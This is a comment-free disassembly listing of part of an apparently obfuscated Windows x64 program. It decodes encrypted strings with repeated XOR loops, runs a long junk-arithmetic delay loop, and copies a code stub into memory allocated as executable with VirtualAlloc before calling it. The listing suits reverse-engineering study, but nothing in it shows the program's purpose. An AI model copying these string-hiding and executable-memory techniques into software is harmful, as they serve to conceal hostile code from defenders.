packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x1402431d0
cmp r9d, 0x4f
jge 0x1402433c2
movsxd rax, r9d
lea r10, [rsp + 0x640]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x140243370
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x2c8], rdi
lea rax, [rsp + 0x640]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402433f0
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x2b0]
call fcn.14021c020
lea rcx, [rsp + 0x2b0]
call fcn.14020f4d0
movups xmm0, xmmword [0x140281080]
movups xmmword [rsp + 0x830], xmm0
movups xmm1, xmmword [0x140281090]
movups xmmword [rsp + 0x840], xmm1
movups xmm0, xmmword [0x1402810a0]
movups xmmword [rsp + 0x850], xmm0
movups xmm1, xmmword [0x1402810b0]
movups xmmword [rsp + 0x860], xmm1
movups xmm0, xmmword [0x1402810c0]
movups xmmword [rsp + 0x870], xmm0
movups xmm1, xmmword [0x1402810d0]
movups xmmword [rsp + 0x880], xmm1
movups xmm0, xmmword [0x1402810e0]
movups xmmword [rsp + 0x890], xmm0
movups xmm1, xmmword [0x1402810f0]
movups xmmword [rsp + 0x8a0], xmm1
mov eax, dword [0x140281100]
mov dword [rsp + 0x8b0], eax
movzx eax, word [0x140281104]
mov word [rsp + 0x8b4], ax
mov r9d, edi
cmp ebx, 2
jl 0x140243663
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x834]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x80
jl 0x1402434d0
cmp r9d, 0x86
jge 0x1402436d5
movsxd rax, r9d
lea r10, [rsp + 0x830]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x86
jl 0x140243680
xorps xmm0, xmm0
movups xmmword [rsp + 0x508], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x518], xmm1
lea rax, [rsp + 0x830]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140243700
lea rdx, [rsp + 0x830]
lea rcx, [rsp + 0x508]
call fcn.14021c020
nop
lea rcx, [rsp + 0x508]
call fcn.14020d430
nop
lea rcx, [rsp + 0x508]
call fcn.14024c260
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x9614], 0xffffffff
mov dword [rsp + 0x8294], eax
mov edx, 1
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x8294], eax
inc rdx
cmp rdx, 0x270
jb 0x140243760
mov dword [rsp + 0x8290], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov r15, qword [rsp + 0x50]
add r15, 0x5f5e100
mov ebx, 1
nop dword [rax]
lea rcx, [rsp + 0x7d8]
call fcn.140201b40
cmp qword [rax], r15
jge 0x14024393e
mov r14d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024380b
nop dword [rax + rax]
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402437f0
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0x98], eax
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024385b
nop
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140243840
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402438ab
nop
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140243890
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402438fb
nop
lea rcx, [rsp + 0x8290]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402438e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0x98]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r14, rbx
jne 0x1402437d0
jmp 0x1402437b0
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [str.6__:1:4z]
movups xmmword [rsp + 0x5f0], xmm0
movups xmm1, xmmword [0x140283390]
movups xmmword [rsp + 0x600], xmm1
movups xmm0, xmmword [0x1402833a0]
movups xmmword [rsp + 0x610], xmm0
movups xmm1, xmmword [0x1402833b0]
movups xmmword [rsp + 0x620], xmm1
mov eax, dword [0x1402833c0]
mov dword [rsp + 0x630], eax
movzx eax, word [0x1402833c4]
mov word [rsp + 0x634], ax
movzx eax, byte [0x1402833c6]
mov byte [rsp + 0x636], al
mov r9d, edi
cmp dword [0x140294090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x140243b6d
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x5f4]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x1402439e0
cmp r9d, 0x47
jge 0x140243bd2
movsxd rax, r9d
lea r10, [rsp + 0x5f0]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x47
jl 0x140243b80
xorps xmm0, xmm0
movups xmmword [rsp + 0x4e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x4f8], xmm1
lea rax, [rsp + 0x5f0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140243bf4
lea rdx, [rsp + 0x5f0]
lea rcx, [rsp + 0x4e8]
call fcn.14021c020
nop
lea rcx, [rsp + 0x4e8]
call fcn.14020d430
nop
lea rcx, [rsp + 0x4e8]
call fcn.14024c260
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x178], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x1402980d0]
test rcx, rcx
je 0x140243cbc
mov r8, rdi
lea rax, [0x14024df40]
cmp rcx, rax
je 0x140243cab
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x2980d0]
test rcx, rcx
jne 0x140243c92
jmp 0x140243cbc
mov r8, qword [rsi + r8*8 + 0x29a3b0]
test r8, r8
jne 0x140243da8
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140243ce5
mov r8, rdi
jmp 0x140243d80
lea rax, [0x14024df40]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140243cf2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
lea rcx, [0x14024df40]
mov qword [rsi + rax*8 + 0x2980d0], rcx
mov qword [rsi + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x178]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [str.____p30__3._]
movups xmmword [rsp + 0x4a8], xmm0
movups xmm1, xmmword [0x1402836a0]
movups xmmword [rsp + 0x4b8], xmm1
movups xmm0, xmmword [0x1402836b0]
movups xmmword [rsp + 0x4c8], xmm0
movsd xmm0, qword [0x1402836c0]
movsd qword [rsp + 0x4d8], xmm0
movzx eax, byte [0x1402836c8]
mov byte [rsp + 0x4e0], al
mov r9d, edi
cmp dword [0x140294090], 2
jl 0x140243fcd
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x4ac]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140243e40
cmp r9d, 0x39
jge 0x140244032
movsxd rax, r9d
lea r10, [rsp + 0x4a8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x39
jl 0x140243fe0
xorps xmm0, xmm0
movups xmmword [rsp + 0x5c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5d8], xmm1
lea rax, [rsp + 0x4a8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140244054
lea rdx, [rsp + 0x4a8]
lea rcx, [rsp + 0x5c8]
call fcn.14021c020
nop
lea rcx, [rsp + 0x5c8]
call fcn.14020d430
nop
lea rcx, [rsp + 0x5c8]
call fcn.14024c260
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x180], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x1402980d0]
test rcx, rcx
je 0x14024411c
mov r8, rdi
lea rax, [0x14024df40]
cmp rcx, rax
je 0x14024410b
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x2980d0]
test rcx, rcx
jne 0x1402440f2
jmp 0x14024411c
mov r8, qword [rsi + r8*8 + 0x29a3b0]
test r8, r8
jne 0x140244208
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140244145
mov r8, rdi
jmp 0x1402441e0
lea rax, [0x14024df40]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140244152
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
lea rcx, [0x14024df40]
mov qword [rsi + rax*8 + 0x2980d0], rcx
mov qword [rsi + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x180]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa48]
mov qword [rcx], rax
movups xmm0, xmmword [0x140282710]
movups xmmword [rsp + 0x690], xmm0
movups xmm1, xmmword [0x140282720]
movups xmmword [rsp + 0x6a0], xmm1
movups xmm0, xmmword [0x140282730]
movups xmmword [rsp + 0x6b0], xmm0
movsd xmm0, qword [0x140282740]
movsd qword [rsp + 0x6c0], xmm0
mov r9d, edi
cmp dword [0x140294090], 2
jl 0x140244416
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm9
lea rcx, [rsp + 0x694]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140244291
jmp 0x140244471
lea r10, [rsp + 0x690]
nop
mov eax, 0x1f7047dd
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140244420
xorps xmm0, xmm0
movups xmmword [rsp + 0x548], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x558], xmm1
lea rax, [rsp + 0x690]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140244493
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x548]
call fcn.14021c020
nop
lea rcx, [rsp + 0x548]
call fcn.14020d430
nop
lea rcx, [rsp + 0x548]
call fcn.14024c260
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x184], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa48]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x1402980d0]
test rcx, rcx
je 0x14024455b
mov r8, rdi
lea rax, [0x14024df40]
cmp rcx, rax
je 0x14024454a
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x2980d0]
test rcx, rcx
jne 0x140244531
jmp 0x14024455b
mov r8, qword [rsi + r8*8 + 0x29a3b0]
test r8, r8
jne 0x140244647
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140244584
mov r8, rdi
jmp 0x14024461f
lea rax, [0x14024df40]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
